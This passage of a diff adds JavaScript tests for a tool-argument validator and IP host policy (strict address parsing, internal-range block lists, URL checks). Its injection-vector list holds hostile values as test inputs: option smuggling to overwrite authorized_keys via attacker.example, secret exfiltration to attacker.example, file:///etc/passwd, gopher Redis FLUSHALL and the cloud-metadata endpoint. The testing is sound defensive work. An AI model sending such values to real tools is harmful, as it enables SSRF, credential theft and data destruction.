"oneshot"\n${ARGS}${COMMAND}${OUTPUT}`)); + assert.equal(m.tool.mode, "oneshot"); + }); + + it("refuses an invalid mode value", async () => { + const path = writeTmp(`${TOOL_HEAD}mode = "batch"\n${ARGS}${COMMAND}${OUTPUT}`); + assert.throws( + () => loadManifest(path), + /^Error: Invalid manifest: invalid tool\.mode 'batch', must be one of oneshot, session, browser$/ + ); + }); +}); + +describe("W2 registered keys - inert defaults", () => { + it("defaults network_egress, allow_interpreter and output.max_bytes", async () => { + const m = loadManifest(writeTmp(BASE)); + assert.equal(m.tool.network_egress, false); + assert.equal(m.tool.allow_interpreter, false); + assert.equal(m.output.max_bytes, 8388608); + assert.equal(m.tool.evidence, undefined); + assert.equal(m.tool.limits, undefined); + }); + + it("defaults tool.evidence.screenshots when [tool.evidence] is present", async () => { + const m = loadManifest( + writeTmp(`${TOOL_HEAD}\n[tool.evidence]\ncapture = true\n${ARGS}${COMMAND}${OUTPUT}`) + ); + assert.equal(m.tool.evidence.screenshots, false); + }); + + it("refuses a non-boolean network_egress", async () => { + const path = writeTmp(`${TOOL_HEAD}network_egress = "yes"\n${ARGS}${COMMAND}${OUTPUT}`); + assert.throws(() => loadManifest(path), /tool\.network_egress must be a boolean/); + }); + + it("refuses a non-integer output.max_bytes and tool.limits value", async () => { + assert.throws( + () => loadManifest(writeTmp(`${TOOL_HEAD}${ARGS}${COMMAND}${OUTPUT}max_bytes = "8MB"\n`)), + /output\.max_bytes must be an integer/ + ); + assert.throws( + () => + loadManifest( + writeTmp(`${TOOL_HEAD}\n[tool.limits]\nnproc = "many"\n${ARGS}${COMMAND}${OUTPUT}`) + ), + /tool\.limits\.nproc must be an integer/ + ); + }); +}); + +// --- Unknown argument names at call time -------------------------------------- + +describe("unknown argument names at call time", () => { + it("dry run refuses an undeclared argument instead of dropping it", async () => { + const m = execManifest(["echo", "{target}"], { + target: { type: "string", required: true }, + }); + await assert.rejects( + () => execute(m, { target: "host", extra_flags: "-iL /etc/passwd" }, { dryRun: true }), + /^Error: unknown argument 'extra_flags' \(declared arguments: target\)$/ + ); + }); + + it("lists the declared arguments sorted", async () => { + const m = execManifest(["echo", "{b}", "{a}"], { + b: { type: "string", required: true }, + a: { type: "string", required: true }, + }); + await assert.rejects( + () => execute(m, { a: "1", b: "2", zzz: "3" }, { dryRun: true }), + /^Error: unknown argument 'zzz' \(declared arguments: a, b\)$/ + ); + }); + + it("applies to the MCP proxy backend", async () => { + const m = { + tool: { name: "m", description: "d" }, + args: { target: { type: "string", required: true } }, + mcp: { server: "s", tool: "t" }, + }; + assert.throws( + () => executeMcp(m, { target: "host", bogus: "x" }), + /^Error: unknown argument 'bogus' \(declared arguments: target\)$/ + ); + }); + + it("still runs when every supplied argument is declared", async () => { + const m = execManifest(["echo", "{target}"], { + target: { type: "string", required: true }, + }); + const r = await execute(m, { target: "host" }, { dryRun: true }); + assert.equal(r.status, "dry_run"); + assert.deepEqual(r.argv, ["echo", "host"]); + }); +}); diff --git a/js/test/hardening_w3.test.js b/js/test/hardening_w3.test.js new file mode 100644 index 0000000..b24fc40 --- /dev/null +++ b/js/test/hardening_w3.test.js @@ -0,0 +1,925 @@ +import { describe, it, before, after } from "node:test"; +import assert from "node:assert/strict"; +import { writeFileSync, mkdtempSync } from "node:fs"; +import { join } from "node:path"; +import { tmpdir } from "node:os"; +import { loadManifest } from "../src/manifest.js"; +import { + validateArg, + validateArgWithCustomTypes, + splitUrlScheme, + parseUrlAuthority, +} from "../src/validator.js"; +import { execute, executeHttp } from "../src/executor.js"; +import { + ALWAYS_BLOCKED_RANGES, + BLOCK_INTERNAL_RANGES, + parseIpv4, + parseIpv6, + parseCanonicalIp, + parseCidr, + ipInRange, + toIpv4Mapped, + alwaysBlockedIpReason, + nonPublicIpReason, + enforceIpPolicy, + looksLikeIpLiteral, + hasPunycodeLabel, +} from "../src/hostpolicy.js"; + +// Tests in this file never make a network request: every [http] manifest is +// run with dryRun and only the built request is inspected, and every exec +// manifest uses echo. + +function writeTmp(content) { + const dir = mkdtempSync(join(tmpdir(), "toolclad-w3-")); + const path = join(dir, "test.clad.toml"); + writeFileSync(path, content); + return path; +} + +const ALWAYS_BLOCKED_V4 = + /target is a link-local \/ cloud-metadata address \(169\.254\.0\.0\/16\) — always blocked/; +const ALWAYS_BLOCKED_V6 = + /target is an IPv6 link-local address \(fe80::\/10\) — always blocked/; +const BLOCKED_BY_POLICY = /\(blocked by block_internal policy\)$/; + +// --------------------------------------------------------------------------- +// hostpolicy: strict literal parsers +// --------------------------------------------------------------------------- + +describe("hostpolicy - strict IPv4 parsing", () => { + it("parses canonical dotted-quad to a 32-bit integer", async () => { + assert.equal(parseIpv4("1.2.3.4"), 0x01020304); + assert.equal(parseIpv4("0.0.0.0"), 0); + assert.equal(parseIpv4("255.255.255.255"), 0xffffffff); + assert.equal(parseIpv4("127.0.0.1"), 0x7f000001); + }); + + it("rejects every non-canonical encoding a resolver would expand", async () => { + for (const v of [ + "01.2.3.4", + "1.2.3.04", + "0177.0.0.1", + "256.1.1.1", + "999.999.999.999", + "1.2.3", + "1.2.3.4.5", + "2130706433", + "0x7f000001", + "127.1", + "1.2.3.4 ", + "", + ]) { + assert.equal(parseIpv4(v), null, v); + } + }); +}); + +describe("hostpolicy - strict IPv6 parsing", () => { + it("parses standard forms to eight 16-bit groups", async () => { + assert.deepEqual(parseIpv6("::1"), [0, 0, 0, 0, 0, 0, 0, 1]); + assert.deepEqual(parseIpv6("::"), [0, 0, 0, 0, 0, 0, 0, 0]); + assert.deepEqual(parseIpv6("1:2:3:4:5:6:7:8"), [1, 2, 3, 4, 5, 6, 7, 8]); + assert.deepEqual(parseIpv6("1:2:3:4:5:6:7::"), [1, 2, 3, 4, 5, 6, 7, 0]); + assert.deepEqual(parseIpv6("::1:2:3:4:5:6:7"), [0, 1, 2, 3, 4, 5, 6, 7]); + assert.deepEqual(parseIpv6("FE80::ABCD"), [0xfe80, 0, 0, 0, 0, 0, 0, 0xabcd]); + assert.deepEqual( + parseIpv6("0000:0000:0000:0000:0000:0000:0000:0001"), + [0, 0, 0, 0, 0, 0, 0, 1] + ); + }); + + it("accepts a dotted-quad IPv4 only as the closing groups", async () => { + assert.deepEqual(parseIpv6("::ffff:1.2.3.4"), [0, 0, 0, 0, 0, 0xffff, 0x0102, 0x0304]); + assert.deepEqual(parseIpv6("::1.2.3.4"), [0, 0, 0, 0, 0, 0, 0x0102, 0x0304]); + assert.deepEqual(parseIpv6("1:2:3:4:5:6:1.2.3.4"), [1, 2, 3, 4, 5, 6, 0x0102, 0x0304]); + assert.equal(parseIpv6("1.2.3.4::"), null); + assert.equal(parseIpv6("::ffff:01.2.3.4"), null); + assert.equal(parseIpv6("::ffff:1.2.3"), null); + assert.equal(parseIpv6("1:2:3:4:5:6:7:1.2.3.4"), null); + }); + + it("rejects malformed, bracketed, zoned and loose forms", async () => { + for (const v of [ + "1::2::3", + "1:::2", + "fe80::1%eth0", + "00001::", + "1:2:3:4:5:6:7:8:9", + ":1:2:3:4:5:6:7", + "1:2:3:4:5:6:7:", + "1:2:3:4:5:6:7", + "cafe", + "[::1]", + "", + ]) { + assert.equal(parseIpv6(v), null, v); + } + }); + + it("parseCanonicalIp tags the family", async () => { + assert.deepEqual(parseCanonicalIp("10.0.0.5"), { family: 4, addr: 0x0a000005 }); + assert.deepEqual(parseCanonicalIp("::1"), { family: 6, groups: [0, 0, 0, 0, 0, 0, 0, 1] }); + assert.equal(parseCanonicalIp("cafe"), null); + assert.equal(parseCanonicalIp("127.1"), null); + }); + + it("unwraps IPv4-mapped IPv6 and nothing else", async () => { + assert.deepEqual(toIpv4Mapped(parseCanonicalIp("::ffff:169.254.169.254")), { + family: 4, + addr: 0xa9fea9fe, + }); + assert.equal(toIpv4Mapped(parseCanonicalIp("::169.254.169.254")), null); + assert.equal(toIpv4Mapped(parseCanonicalIp("::1")), null); + }); +}); + +describe("hostpolicy - CIDR parsing and containment", () => { + it("parses a canonical base with an in-bounds prefix", async () => { + assert.deepEqual(parseCidr("10.0.0.0/8"), { ip: { family: 4, addr: 0x0a000000 }, prefix: 8 }); + assert.equal(parseCidr("::/0").prefix, 0); + assert.equal(parseCidr("2001:db8::/32").prefix, 32); + }); + + it("rejects a non-canonical base or an out-of-bounds prefix", async () => { + for (const v of ["10.0.0.0/33", "::/129", "0177.0.0.1/8", "10.0.0.0/", "10.0.0.0/x", "10.0.0.0", "127.1/8"]) { + assert.equal(parseCidr(v), null, v); + } + }); + + it("tests containment at every prefix boundary", async () => { + const inRange = (ip, cidr) => ipInRange(parseCanonicalIp(ip), parseCidr(cidr)); + assert.equal(inRange("172.31.255.255", "172.16.0.0/12"), true); + assert.equal(inRange("172.32.0.0", "172.16.0.0/12"), false); + assert.equal(inRange("172.15.255.255", "172.16.0.0/12"), false); + assert.equal(inRange("100.127.255.255", "100.64.0.0/10"), true); + assert.equal(inRange("100.128.0.0", "100.64.0.0/10"), false); + assert.equal(inRange("198.19.255.255", "198.18.0.0/15"), true); + assert.equal(inRange("198.20.0.0", "198.18.0.0/15"), false); + assert.equal(inRange("255.255.255.255", "240.0.0.0/4"), true); + assert.equal(inRange("239.255.255.255", "240.0.0.0/4"), false); + assert.equal(inRange("8.8.8.8", "0.0.0.0/0"), true); + assert.equal(inRange("fdff:ffff::1", "fc00::/7"), true); + assert.equal(inRange("fe00::1", "fc00::/7"), false); + assert.equal(inRange("febf:ffff::1", "fe80::/10"), true); + assert.equal(inRange("fec0::1", "fe80::/10"), false); + assert.equal(inRange("2001:db8:ffff:ffff::1", "2001:db8::/32"), true); + assert.equal(inRange("2001:db9::1", "2001:db8::/32"), false); + assert.equal(inRange("::1", "::1/128"), true); + assert.equal(inRange("::2", "::1/128"), false); + assert.equal(inRange("::1", "127.0.0.0/8"), false, "families never match"); + }); +}); + +// --------------------------------------------------------------------------- +// hostpolicy: the range table and its wording +// --------------------------------------------------------------------------- + +describe("hostpolicy - range table", () => { + it("always-blocked rows are exactly the link-local ranges", async () => { + assert.deepEqual( + ALWAYS_BLOCKED_RANGES.map(([cidr]) => cidr), + ["169.254.0.0/16", "fe80::/10"] + ); + }); + + it("block_internal rows match the normative table, in order", async () => { + assert.deepEqual( + BLOCK_INTERNAL_RANGES.map(([cidr]) => cidr), + [ + "127.0.0.0/8", + "10.0.0.0/8", + "172.16.0.0/12", + "192.168.0.0/16", + "100.64.0.0/10", + "0.0.0.0/8", + "255.255.255.255/32", + "192.0.2.0/24", + "198.51.100.0/24", + "203.0.113.0/24", + "198.18.0.0/15", + "240.0.0.0/4", + "::1/128", + "::/128", + "fc00::/7", + "fe80::/10", + "2001:db8::/32", + ] + ); + }); + + it("always-blocked reasons, with and without the v4-mapped wrapper", async () => { + const reason = (ip) => alwaysBlockedIpReason(parseCanonicalIp(ip)); + assert.equal( + reason("169.254.169.254"), + "is a link-local / cloud-metadata address (169.254.0.0/16) — always blocked" + ); + assert.equal( + reason("::ffff:169.254.169.254"), + "is a link-local / cloud-metadata address (169.254.0.0/16) — always blocked" + ); + assert.equal(reason("fe80::1"), "is an IPv6 link-local address (fe80::/10) — always blocked"); + assert.equal(reason("127.0.0.1"), null); + assert.equal(reason("::1"), null); + assert.equal(reason("93.184.216.34"), null); + }); + + it("block_internal reasons use the shared wording", async () => { + const reason = (ip) => nonPublicIpReason(parseCanonicalIp(ip)); + assert.equal(reason("127.0.0.1"), "resolves to a loopback address"); + assert.equal(reason("127.255.255.255"), "resolves to a loopback address"); + assert.equal(reason("10.0.0.5"), "resolves to a private address"); + assert.equal(reason("172.16.0.1"), "resolves to a private address"); + assert.equal(reason("192.168.1.1"), "resolves to a private address"); + assert.equal(reason("100.64.0.1"), "resolves to a shared / carrier-grade NAT address (100.64.0.0/10)"); + assert.equal(reason("0.0.0.0"), "is in the unspecified range (0.0.0.0/8)"); + assert.equal(reason("0.1.2.3"), "is in the unspecified range (0.0.0.0/8)"); + assert.equal(reason("255.255.255.255"), "is the broadcast address"); + assert.equal(reason("192.0.2.1"), "is a documentation-range address"); + assert.equal(reason("198.51.100.1"), "is a documentation-range address"); + assert.equal(reason("203.0.113.1"), "is a documentation-range address"); + assert.equal(reason("198.18.0.1"), "is a benchmarking-range address (198.18.0.0/15)"); + assert.equal(reason("240.0.0.1"), "is a reserved address (240.0.0.0/4)"); + assert.equal(reason("::1"), "resolves to the IPv6 loopback ::1"); + assert.equal(reason("::"), "is the IPv6 unspecified address ::"); + assert.equal(reason("fc00::1"), "is an IPv6 unique-local address (fc00::/7)"); + assert.equal(reason("fd12:3456::1"), "is an IPv6 unique-local address (fc00::/7)"); + assert.equal(reason("fe80::1"), "is an IPv6 link-local address (fe80::/10)"); + assert.equal(reason("2001:db8::1"), "is an IPv6 documentation-range address (2001:db8::/32)"); + // v4-mapped forms are caught by the IPv4 rows. + assert.equal(reason("::ffff:127.0.0.1"), "resolves to a loopback address"); + assert.equal(reason("::ffff:10.1.1.1"), "resolves to a private address"); + assert.equal(reason("::ffff:0.0.0.0"), "is in the unspecified range (0.0.0.0/8)"); + // Public addresses have no reason. + assert.equal(reason("93.184.216.34"), null); + assert.equal(reason("8.8.8.8"), null); + assert.equal(reason("2606:2800:220:1:248:1893:25c8:1946"), null); + assert.equal(reason("::ffff:93.184.216.34"), null); + }); + + it("enforceIpPolicy formats the two message shapes", async () => { + assert.throws( + () => enforceIpPolicy(parseCanonicalIp("169.254.169.254"), false), + /^Error: target is a link-local \/ cloud-metadata address \(169\.254\.0\.0\/16\) — always blocked$/ + ); + assert.throws( + () => enforceIpPolicy(parseCanonicalIp("127.0.0.1"), true), + /^Error: target resolves to a loopback address \(blocked by block_internal policy\)$/ + ); + assert.doesNotThrow(() => enforceIpPolicy(parseCanonicalIp("127.0.0.1"), false)); + assert.doesNotThrow(() => enforceIpPolicy(parseCanonicalIp("93.184.216.34"), true)); + }); +}); + +describe("hostpolicy - literal and label helpers", () => { + it("looksLikeIpLiteral flags hex, integer, octal and shorthand forms", async () => { + for (const v of ["2130706433", "0x7f000001", "0X7F000001", "0177.0.0.1", "127.1", "1.2.3.4.5", "999.999.999.999"]) { + assert.equal(looksLikeIpLiteral(v), true, v); + } + for (const v of ["example.com", "1.example", "", "1..2", "a1"]) { + assert.equal(looksLikeIpLiteral(v), false, v); + } + }); + + it("hasPunycodeLabel is case-insensitive per label", async () => { + assert.equal(hasPunycodeLabel("xn--example-9c.com"), true); + assert.equal(hasPunycodeLabel("sub.XN--example-9c.com"), true); + assert.equal(hasPunycodeLabel("example.com"), false); + assert.equal(hasPunycodeLabel("xn-.com"), false); + }); +}); + +// --------------------------------------------------------------------------- +// url validator (W3) +// --------------------------------------------------------------------------- + +describe("validateArg - url: shared injection vectors", () => { + // Inline copy of every `url-` vector from tests/injection_vectors.json; + // the shared-suite wave replaces this list with the file. + const VECTORS = [ + { + id: "url-space-option-injection", + arg: { type: "url" }, + value: "https://attacker.example/ -o /root/.ssh/authorized_keys", + reject: /must not contain whitespace/, + }, + { + id: "url-space-write-tmp", + arg: { type: "url" }, + value: "https://attacker.example/ -o /tmp/pwned", + reject: /must not contain whitespace/, + }, + { + id: "url-secret-smuggling", + arg: { type: "url" }, + value: "https://attacker.example/?k={_secret:api_key}", + reject: /Injection detected/, + }, + { + id: "url-javascript-scheme", + arg: { type: "url" }, + value: "javascript:alert(1)", + reject: /Injection detected|Invalid URL/, + }, + { + id: "url-file-scheme", + arg: { type: "url" }, + value: "file:///etc/passwd", + reject: /URL scheme "file" not in allowed schemes: \[http, https\]/, + }, + { + id: "url-data-scheme", + arg: { type: "url" }, + value: "data:text/html,", + reject: /Injection detected/, + }, + { + id: "url-gopher-redis", + arg: { type: "url" }, + value: "gopher://127.0.0.1:6379/_FLUSHALL", + reject: /URL scheme "gopher" not in allowed schemes/, + }, + { + id: "url-dict-scheme", + arg: { type: "url" }, + value: "dict://127.0.0.1:11211/stat", + reject: /URL scheme "dict" not in allowed schemes/, + }, + { + id: "url-userinfo", + arg: { type: "url" }, + value: "http://user:pw@example.com/", + reject: /URL must not contain userinfo/, + }, + { + id: "url-metacharacter", + arg: { type: "url" }, + value: "https://attacker.example/;id", + reject: /Injection detected/, + }, + { + id: "url-scheme-not-in-list", + arg: { type: "url", schemes: ["https"] }, + value: "http://example.com/", + reject: /URL scheme "http" not in allowed schemes: \[https\]/, + }, + { + id: "url-imds-always-blocked", + arg: { type: "url" }, + value: "http://169.254.169.254/latest/meta-data/", + reject: ALWAYS_BLOCKED_V4, + }, + { + id: "url-docker-socket-block-internal", + arg: { type: "url", block_internal: true }, + value: "http://127.0.0.1:2375/containers/json", + reject: /target resolves to a loopback address \(blocked by block_internal policy\)/, + }, + { + // The metacharacter blocklist contains `[` and `]` in every runtime, + // so a bracketed literal never reaches the host policy. + id: "url-ipv6-loopback-block-internal", + arg: { type: "url", block_internal: true }, + value: "http://[::1]:8080/", + reject: /Injection detected/, + }, + { id: "url-accept", arg: { type: "url" }, value: "https://example.com/path" }, + { + id: "url-accept-public-ip-block-internal", + arg: { type: "url", block_internal: true }, + value: "https://93.184.216.34/x", + }, + ]; + + for (const v of VECTORS) { + it(v.id, () => { + if (v.reject) { + assert.throws(() => validateArg(v.arg, v.value), v.reject); + } else { + assert.equal(validateArg(v.arg, v.value), v.value); + } + }); + } +}); + +describe("validateArg - url: structure", () => { + it("requires scheme://", async () => { + assert.throws(() => validateArg({ type: "url" }, "example.com/path"), /Invalid URL/); + assert.throws(() => validateArg({ type: "url" }, "mailto:root"), /Invalid URL/); + assert.throws(() => validateArg({ type: "url" }, "https:/example.com"), /Invalid URL/); + }); + + it("scheme allowlist is case-insensitive and defaults to http/https", async () => { + assert.equal(validateArg({ type: "url" }, "HTTPS://example.com/"), "HTTPS://example.com/"); + assert.equal(validateArg({ type: "url", schemes: [] }, "http://example.com/"), "http://example.com/"); + assert.equal(validateArg({ type: "url", schemes: ["HTTPS"] }, "https://example.com/"), "https://example.com/"); + assert.throws( + () => validateArg({ type: "url", schemes: [] }, "ssh://example.com/"), + /URL scheme "ssh" not in allowed schemes: \[http, https\]/ + ); + assert.equal( + validateArg({ type: "url", schemes: ["ssh", "https"] }, "ssh://example.com/"), + "ssh://example.com/" + ); + }); + + it("denied schemes stay denied even when a manifest lists them", async () => { + for (const [scheme, value] of [ + ["ftp", "ftp://example.com/pub"], + ["gopher", "gopher://example.com/"], + ["file", "file://example.com/etc/passwd"], + ["ldap", "ldap://example.com/"], + ["ws", "ws://example.com/socket"], + ["wss", "wss://example.com/socket"], + ]) { + assert.throws( + () => validateArg({ type: "url", schemes: [scheme, "https"] }, value), + new RegExp(`URL scheme "${scheme}" is never allowed`), + value + ); + } + // The denial is also case-insensitive on both sides. + assert.throws( + () => validateArg({ type: "url", schemes: ["FTP"] }, "FTP://example.com/"), + /URL scheme "ftp" is never allowed/ + ); + }); + + it("rejects userinfo in any position of the authority", async () => { + assert.throws( + () => validateArg({ type: "url" }, "https://example.com@evil.example/"), + /URL must not contain userinfo/ + ); + assert.throws( + () => validateArg({ type: "url" }, "https://admin@example.com:8443/"), + /URL must not contain userinfo/ + ); + }); + + it("rejects an empty host", async () => { + for (const v of ["https://", "https:///x", "https://?q=1", "https://:8443/"]) { + assert.throws(() => validateArg({ type: "url" }, v), /URL host must not be empty/, v); + } + }); + + it("accepts an explicit port in range and rejects one out of range", async () => { + assert.equal(validateArg({ type: "url" }, "https://example.com:8443/x"), "https://example.com:8443/x"); + assert.equal(validateArg({ type: "url" }, "https://example.com:65535"), "https://example.com:65535"); + for (const v of [ + "https://example.com:0/x", + "https://example.com:99999/x", + "https://example.com:65536/", + "https://example.com:/x", + "https://example.com:8a/x", + "https://example.com:-1/x", + ]) { + assert.throws(() => validateArg({ type: "url" }, v), /URL port must be 1-65535/, v); + } + }); + + it("accepts a host without a path and with a query", async () => { + assert.equal(validateArg({ type: "url" }, "https://example.com"), "https://example.com"); + assert.equal(validateArg({ type: "url" }, "https://example.com?q=1"), "https://example.com?q=1"); + assert.equal( + validateArg({ type: "url" }, "https://sub.example.com:8080/a/b?c=d"), + "https://sub.example.com:8080/a/b?c=d" + ); + // `&` and `#` are shell metacharacters, so a multi-pair query or a + // fragment never reaches the structural parse. + assert.throws( + () => validateArg({ type: "url" }, "https://sub.example.com/a?c=d&e=f"), + /Injection detected/ + ); + }); + + it("rejects non-canonical IP literal hosts instead of resolving them", async () => { + for (const v of ["http://0x7f000001/", "http://2130706433/", "http://0177.0.0.1/", "http://127.1/", "http://169.254.169.254.0/"]) { + assert.throws( + () => validateArg({ type: "url" }, v), + /URL host looks like a non-canonical IP literal/, + v + ); + } + }); + + it("rejects punycode and malformed hostnames", async () => { + assert.throws( + () => validateArg({ type: "url" }, "https://xn--example-9c.com/"), + /URL host must not contain punycode \(xn--\) labels/ + ); + for (const v of ["https://exa_mple.com/", "https://-bad.example/", "https://bad-.example/", "https://exa%6dple.com/", "https://exаmple.com/"]) { + assert.throws(() => validateArg({ type: "url" }, v), /URL host is not a valid hostname or IP literal/, v); + } + }); + + it("returns the value untouched — no WHATWG normalization", async () => { + const v = "HTTPS://Example.COM:8443/Path/../x?Q=1"; + assert.equal(validateArg({ type: "url" }, v), v); + }); +}); + +describe("validateArg - url: host policy", () => { + it("link-local is blocked with block_internal on and off", async () => { + for (const blockInternal of [true, false]) { + assert.throws( + () => validateArg({ type: "url", block_internal: blockInternal }, "http://169.254.169.254/latest/meta-data/"), + ALWAYS_BLOCKED_V4 + ); + assert.throws( + () => validateArg({ type: "url", block_internal: blockInternal }, "http://169.254.1.1:80/"), + ALWAYS_BLOCKED_V4 + ); + } + }); + + it("the IPv4-mapped IMDS spelling is refused on a url in both modes", async () => { + for (const blockInternal of [true, false]) { + assert.throws( + () => validateArg({ type: "url", block_internal: blockInternal }, "http://[::ffff:169.254.169.254]/latest/"), + /Injection detected/ + ); + } + }); + + it("block_internal rejects loopback and private literals", async () => { + const def = { type: "url", block_internal: true }; + assert.throws(() => validateArg(def, "http://127.0.0.1/"), /target resolves to a loopback address \(blocked by block_internal policy\)/); + assert.throws(() => validateArg(def, "http://10.0.0.5:8080/admin"), /target resolves to a private address \(blocked by block_internal policy\)/); + assert.throws(() => validateArg(def, "http://192.168.1.1/"), BLOCKED_BY_POLICY); + assert.throws(() => validateArg(def, "http://100.64.0.1/"), BLOCKED_BY_POLICY); + assert.throws(() => validateArg(def, "http://0.0.0.0/"), BLOCKED_BY_POLICY); + assert.throws(() => validateArg(def, "http://198.18.0.1/"), BLOCKED_BY_POLICY); + assert.equal(validateArg(def, "https://93.184.216.34/x"), "https://93.184.216.34/x"); + // A hostname can only be shown public by resolving it; the sync path + // refuses rather than guess (wave D). + assert.throws( + () => validateArg(def, "https://example.com/"), + /hostname cannot be verified without DNS resolution; pass an IP literal or use validateArgAsync/ + ); + }); + + it("block_internal is opt-in: loopback passes without it", async () => { + assert.equal(validateArg({ type: "url" }, "http://127.0.0.1:8080/"), "http://127.0.0.1:8080/"); + assert.equal(validateArg({ type: "url", block_internal: false }, "http://10.0.0.5/"), "http://10.0.0.5/"); + }); + + it("a custom type with base url carries block_internal", async () => { + const types = { web: { base: "url" } }; + assert.throws( + () => validateArgWithCustomTypes({ type: "web", block_internal: true }, "http://127.0.0.1/", types), + BLOCKED_BY_POLICY + ); + assert.equal( + validateArgWithCustomTypes({ type: "web", block_internal: true }, "https://93.184.216.34/", types), + "https://93.184.216.34/" + ); + }); +}); + +describe("url structural helpers", () => { + it("splitUrlScheme lowercases the scheme only", async () => { + assert.deepEqual(splitUrlScheme("HTTPS://Example.com/P"), { scheme: "https", rest: "Example.com/P" }); + assert.throws(() => splitUrlScheme("javascript:alert(1)"), /Invalid URL/); + }); + + it("parseUrlAuthority unwraps a bracketed IPv6 literal and splits the port", async () => { + assert.deepEqual(parseUrlAuthority("[::1]:8080/"), { host: "::1", port: 8080, bracketed: true }); + assert.deepEqual(parseUrlAuthority("[fe80::1]"), { host: "fe80::1", port: null, bracketed: true }); + assert.deepEqual(parseUrlAuthority("[::ffff:169.254.169.254]/x"), { + host: "::ffff:169.254.169.254", + port: null, + bracketed: true, + }); + assert.deepEqual(parseUrlAuthority("example.com:8443/p?q#f"), { host: "example.com", port: 8443, bracketed: false }); + assert.deepEqual(parseUrlAuthority("example.com?x=a@b"), { host: "example.com", port: null, bracketed: false }); + assert.deepEqual(parseUrlAuthority("example.com#a@b"), { host: "example.com", port: null, bracketed: false }); + }); + + it("parseUrlAuthority refuses malformed brackets, userinfo and bad ports", async () => { + assert.throws(() => parseUrlAuthority("[::1"), /unterminated IPv6 bracket/); + assert.throws(() => parseUrlAuthority("[cafe]/"), /not a canonical IPv6 literal/); + assert.throws(() => parseUrlAuthority("[::1]x/"), /Invalid URL authority/); + assert.throws(() => parseUrlAuthority("[::1]:0/"), /URL port must be 1-65535/); + assert.throws(() => parseUrlAuthority("[::1]:/"), /URL port must be 1-65535/); + assert.throws(() => parseUrlAuthority("user:pw@example.com/"), /userinfo/); + assert.throws(() => parseUrlAuthority("example.com@evil.example/"), /userinfo/); + assert.throws(() => parseUrlAuthority("fe80::1/"), /URL port must be 1-65535/); + assert.throws(() => parseUrlAuthority("/path"), /URL host must not be empty/); + }); + + it("the unwrapped bracket host goes through the same policy", async () => { + const { host } = parseUrlAuthority("[::1]:8080/"); + assert.throws(() => enforceIpPolicy(parseCanonicalIp(host), true), BLOCKED_BY_POLICY); + const imds = parseUrlAuthority("[::ffff:169.254.169.254]/").host; + assert.throws(() => enforceIpPolicy(parseCanonicalIp(imds), false), ALWAYS_BLOCKED_V4); + }); +}); + +// --------------------------------------------------------------------------- +// scope_target, ip_address, cidr +// --------------------------------------------------------------------------- + +describe("validateArg - scope_target: strict literals and policy", () => { + it("block_internal rejects the non-public literals", async () => { + const def = { type: "scope_target", block_internal: true }; + assert.throws(() => validateArg(def, "10.0.0.5"), /target resolves to a private address \(blocked by block_internal policy\)/); + assert.throws(() => validateArg(def, "192.168.1.1"), /target resolves to a private address \(blocked by block_internal policy\)/); + assert.throws(() => validateArg(def, "0.0.0.0"), /target is in the unspecified range \(0\.0\.0\.0\/8\) \(blocked by block_internal policy\)/); + assert.throws(() => validateArg(def, "::1"), /target resolves to the IPv6 loopback ::1 \(blocked by block_internal policy\)/); + assert.throws(() => validateArg(def, "fc00::1"), /target is an IPv6 unique-local address \(fc00::\/7\) \(blocked by block_internal policy\)/); + assert.throws(() => validateArg(def, "::ffff:127.0.0.1"), /target resolves to a loopback address \(blocked by block_internal policy\)/); + assert.equal(validateArg(def, "93.184.216.34"), "93.184.216.34"); + assert.equal(validateArg(def, "2606:2800:220:1:248:1893:25c8:1946"), "2606:2800:220:1:248:1893:25c8:1946"); + }); + + it("block_internal is opt-in for scope_target", async () => { + assert.equal(validateArg({ type: "scope_target" }, "10.0.0.5"), "10.0.0.5"); + assert.equal(validateArg({ type: "scope_target" }, "::1"), "::1"); + }); + + it("link-local is always blocked, in both address families and the mapped form", async () => { + for (const blockInternal of [true, false]) { + const def = { type: "scope_target", block_internal: blockInternal }; + assert.throws(() => validateArg(def, "169.254.169.254"), ALWAYS_BLOCKED_V4); + assert.throws(() => validateArg(def, "::ffff:169.254.169.254"), ALWAYS_BLOCKED_V4); + assert.throws(() => validateArg(def, "fe80::1"), ALWAYS_BLOCKED_V6); + } + }); + + it("rejects non-canonical IP literals instead of passing them as hostnames", async () => { + for (const v of ["999.999.999.999", "0177.0.0.1", "2130706433", "0x7f000001", "127.1", "01.2.3.4", "1.2.3.4.5"]) { + assert.throws( + () => validateArg({ type: "scope_target" }, v), + /scope_target looks like a non-canonical IP literal; use dotted-quad IPv4 or standard IPv6/, + v + ); + } + }); + + it("a hex-looking word is a hostname, not an IPv6 literal", async () => { + assert.equal(validateArg({ type: "scope_target" }, "cafe"), "cafe"); + assert.equal(validateArg({ type: "scope_target" }, "cafe::1"), "cafe::1"); + assert.throws(() => validateArg({ type: "scope_target" }, "cafe:1"), /Invalid scope_target/); + assert.throws(() => validateArg({ type: "scope_target" }, "1:2:3:4:5:6:7:8:9"), /Invalid scope_target/); + }); + + it("CIDR base addresses are range-checked under policy", async () => { + assert.equal(validateArg({ type: "scope_target" }, "10.0.0.0/8"), "10.0.0.0/8"); + assert.throws(() => validateArg({ type: "scope_target", block_internal: true }, "10.0.0.0/8"), BLOCKED_BY_POLICY); + assert.throws(() => validateArg({ type: "scope_target", block_internal: true }, "fc00::/7"), BLOCKED_BY_POLICY); + assert.throws(() => validateArg({ type: "scope_target", block_internal: true }, "2001:db8::/32"), BLOCKED_BY_POLICY); + assert.throws(() => validateArg({ type: "scope_target" }, "169.254.0.0/16"), ALWAYS_BLOCKED_V4); + assert.equal(validateArg({ type: "scope_target", block_internal: true }, "93.184.216.0/24"), "93.184.216.0/24"); + }); + + it("CIDR shapes are parsed strictly", async () => { + for (const v of ["999.0.0.0/8", "10.0.0.0/33", "0177.0.0.1/8", "::/129", "127.1/8"]) { + assert.throws(() => validateArg({ type: "scope_target" }, v), /Invalid scope_target/, v); + } + assert.throws(() => validateArg({ type: "scope_target" }, "example.com/24"), /must not contain '\/'/); + }); + + it("rejects a DNS label over 63 octets and a numeric TLD", async () => { + assert.throws( + () => validateArg({ type: "scope_target" }, `${"a".repeat(64)}.example.com`), + /DNS label exceeding 63 octets/ + ); + assert.equal( + validateArg({ type: "scope_target" }, `${"a".repeat(63)}.example.com`), + `${"a".repeat(63)}.example.com` + ); + assert.throws(() => validateArg({ type: "scope_target" }, "example.123"), /Invalid scope_target/); + }); +}); + +describe("validateArg - ip_address and cidr: policy", () => { + it("ip_address applies the always-blocked and block_internal tables", async () => { + assert.throws(() => validateArg({ type: "ip_address" }, "169.254.169.254"), ALWAYS_BLOCKED_V4); 